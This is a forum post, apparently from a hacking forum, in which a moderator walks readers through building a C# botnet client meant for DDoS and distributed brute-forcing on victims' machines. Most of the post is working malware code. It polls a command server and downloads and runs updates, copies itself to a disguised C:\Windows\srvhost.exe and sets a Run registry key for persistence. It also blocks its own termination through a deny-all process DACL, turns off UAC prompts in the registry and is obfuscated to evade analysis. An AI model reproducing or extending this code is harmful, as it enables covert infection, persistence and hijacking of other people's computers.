Building Distributed Network Systems: A Study of Architecture and Management (botnet)

Tr0jan_Horse

Moderator
Staff member
MODERATOR
ULTIMATE
PREMIUM
MEMBER
Joined
Oct 23, 2024
Messages
304
Reaction score
8,797
Deposit
0$
Part 1​
Good evening, gentlemen. Today I would like to talk not about hacking in its pure form. I think it's time for us to create our own BOTNET . This topic is not new, but I would like to draw attention to how exactly to start creating a botnet. I am already a botmaker. And this is what it looks like, what has already been written.
Well, shall we get straight to the point?

We will build the botnet in C# - since this is the best choice for SMALL Botnets (maximum 100k online machines). This is due to one limitation, that for the bot to work, the victim must have .Net Framework installed - today in the era of Windows 10, this is no longer a big problem, but it is worth knowing about it.

Now let's talk about the main thing, namely, what beginners start with and how NOT to start . (We'll destroy some myths)

Myth 1: A cool botnet should contain a lot of goodies (DDOS, likes in VK, calculator call =)).

We refute: A good botnet is one that does not crash and copes with its task. Therefore, like any product, it is first necessary to write the MINIMUM - NECESSARY functionality, since it is very difficult to stop a programmer and he wants to write more and more code. This is wrong. It is necessary to write a framework and the ability to expand the functionality first. We will go this way. The botnet should work immediately and be written in a maximum of two to three days.

Myth 2: A botnet is necessary for DDOS attacks.

Refutation: This is also not a correct judgment. Yes, botnets are usually used for DDOS attacks and we will consider the types of DDOS attacks and even write our own modules, but this is not the main thing. Personally, I use a botnet for distributed fast selection of hash functions, brute force of services, etc. Because you must agree, no matter how fast your processor is, 100,000 machines will brute force faster than 1 machine. And this is only a little of how it can be used

Myth 3: Writing a botnet is difficult and requires colossal knowledge of programming and network technologies.

Debunked: This is partly true, but in reality you don't need to be a brilliant programmer with a lot of experience. Understanding common network protocols (like HTTP), a little cryptography (SSL), and a programming level that at least understands OOP are enough.

So, what is a botnet? It is several machines, united by one command center, for the hidden exploitation of resources beneficial to the owner of the botnet.

Well, enough talk, let's get down to business:

Requirements for today's release:
1) Create a build that will take a command for bots from the specified path
2) Implement the ability to copy itself to startup and at this stage we will limit ourselves to copying the build to another directory.
3) ByPass Uac and AV
4) Prevent the process from terminating.
5) Implement support for the first command “Update” - a command that will simply update our current client with a new version.
6) A little obfuscation of the source code so that we can't be reversed so easily.

Here we go….

Let's create a new console project.
1750633079957.png
Next, change the project settings to a Windows application (Lifehack to create an empty application without telemetry support).
Now let's move on to questions of architecture.

folder We create a Services in which our business logic will be stored and when adding new features to this folder we will add folders with new services and classes. Let's start with the first point of the technical task. We will create a "FileManager" service that will read the command by reference, as well as an interface.

Next is the code, first we will create a stub on the command server (index.php).


PHP:
<?php
echo 'update';


Let's remember our technical specifications
Create a build that will take a command for bots from the specified path
To do this, we add the following code to our service


C#:
public class FileManager : IFileManager
{
public string GetCommandByUrl(string url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
return new StreamReader(response.GetResponseStream()).ReadToEnd();
}

}


And we'll add it to the program

C#:
private static string _url = @"URL/index.php"; (тут наша заглушка пока)
private const int interval = 10000; // 1000 seconds ~ 16 minutes
while (true)
{
Thread.Sleep(interval);
var command = _fileService.GetCommandByUrl(_url);

if (command.Equals("update"))
{
WebClient myWebClient = new WebClient();
myWebClient.DownloadFile(_url, "update.exe");
_fileService.RemoveFile();
_fileService.CopyFile("update.exe");
}
}

Good!
1750633326045.png
Implement the ability to copy itself to startup and at this stage we will limit ourselves to copying the build to another directory.
Create a new method in FileManager

C#:
public void CopyFile(string fileName = "")
{
if (String.IsNullOrEmpty(fileName))
{
fileName = Assembly.GetExecutingAssembly().Location;
return;
}

File.Copy(fileName, @"C:\Windows\srvhost.exe");
}
void CopyFile(string fileName = @"C:\Windows\srvhost.exe");


Add to Program.cs


C#:
public static void Main(string[] args)
{
IFileManager _fileService = new FileManager();
_fileService.CopyFile();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");


Prevent process termination;
Here too, everything is quite simple: a new service and we add it to Program proc.block
Let's take a look at ProcessManager

C#:
public class ProcessManager
{
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);

public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
{
const int DACL_SECURITY_INFORMATION = 0x00000004;
byte[] psd = new byte[0];
uint bufSizeNeeded;
// Call with 0 size to obtain the actual size needed in bufSizeNeeded
GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
throw new Win32Exception();
// Allocate the required bytes and obtain the DACL
if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
throw new Win32Exception();
// Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
return new RawSecurityDescriptor(psd, 0);
}

[DllImport("advapi32.dll", SetLastError = true)]
static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);

public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
{
const int DACL_SECURITY_INFORMATION = 0x00000004;
byte[] rawsd = new byte[dacl.BinaryLength];
dacl.GetBinaryForm(rawsd, 0);
if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
throw new Win32Exception();
}

[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();

[Flags]
public enum ProcessAccessRights
{
PROCESS_CREATE_PROCESS = 0x0080, //  Required to create a process.
PROCESS_CREATE_THREAD = 0x0002, //  Required to create a thread.
PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
PROCESS_QUERY_INFORMATION = 0x0400, //  Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, //  Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000:  This access right is not supported.
PROCESS_SET_INFORMATION = 0x0200, //    Required to set certain information about a process, such as its priority class (see SetPriorityClass).
PROCESS_SET_QUOTA = 0x0100, //  Required to set memory limits using SetProcessWorkingSetSize.
PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
PROCESS_TERMINATE = 0x0001, //  Required to terminate a process using TerminateProcess.
PROCESS_VM_OPERATION = 0x0008, //   Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
PROCESS_VM_READ = 0x0010, //    Required to read memory in a process using ReadProcessMemory.
PROCESS_VM_WRITE = 0x0020, //   Required to write to memory in a process using WriteProcessMemory.
DELETE = 0x00010000, // Required to delete the object.
READ_CONTROL = 0x00020000, //   Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
SYNCHRONIZE = 0x00100000, //    The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
WRITE_DAC = 0x00040000, //  Required to modify the DACL in the security descriptor for the object.
WRITE_OWNER = 0x00080000, //    Required to change the owner in the security descriptor for the object.
STANDARD_RIGHTS_REQUIRED = 0x000f0000,
PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),//    All possible access rights for a process object.
}
public void block()
{
// Get the current process handle
IntPtr hProcess = GetCurrentProcess();
// Read the DACL
var dacl = GetProcessSecurityDescriptor(hProcess);
// Insert the new ACE
dacl.DiscretionaryAcl.InsertAce(
0,
new CommonAce(
AceFlags.None,
AceQualifier.AccessDenied,
(int)ProcessAccessRights.PROCESS_ALL_ACCESS,
new SecurityIdentifier(WellKnownSidType.WorldSid, null),
false,
null)
);
// Save the DACL
SetProcessSecurityDescriptor(hProcess, dacl);
}
}

Now only an experienced user can kill our process.
In order to bypass UAC, you simply need to disable its checking in the registry.

C#:
var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree;
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
, readWriteSubTree);
key.SetValue("ConsentPromptBehaviorAdmin", 0);


There is no need to bypass AV at this stage, since the build is clean, the signatures are unknown, and antiviruses do not see it.
Implement support for the first command "Update" - a command that will simply update our current client with a new version.


C#:
if (command.Equals("update"))
{
WebClient myWebClient = new WebClient();
myWebClient.DownloadFile(_url, "update.exe");
_fileService.RemoveFile();
_fileService.CopyFile("update.exe");
}



A little obfuscation of the source code so that we can't be reversed so easily.
Download .Net Reactor and install Protect . In future articles we will consider our own obfuscators using reflection.

Let's compare obfuscated and unobfuscated builds

We see how the build fires without any problems.
Thank you all. That's all. Let's see if the coder's article will be popular with the public and decide whether to continue this topic or not. In any case, the article also contains interesting bypass techniques, a bit of reflection.
 
Top Bottom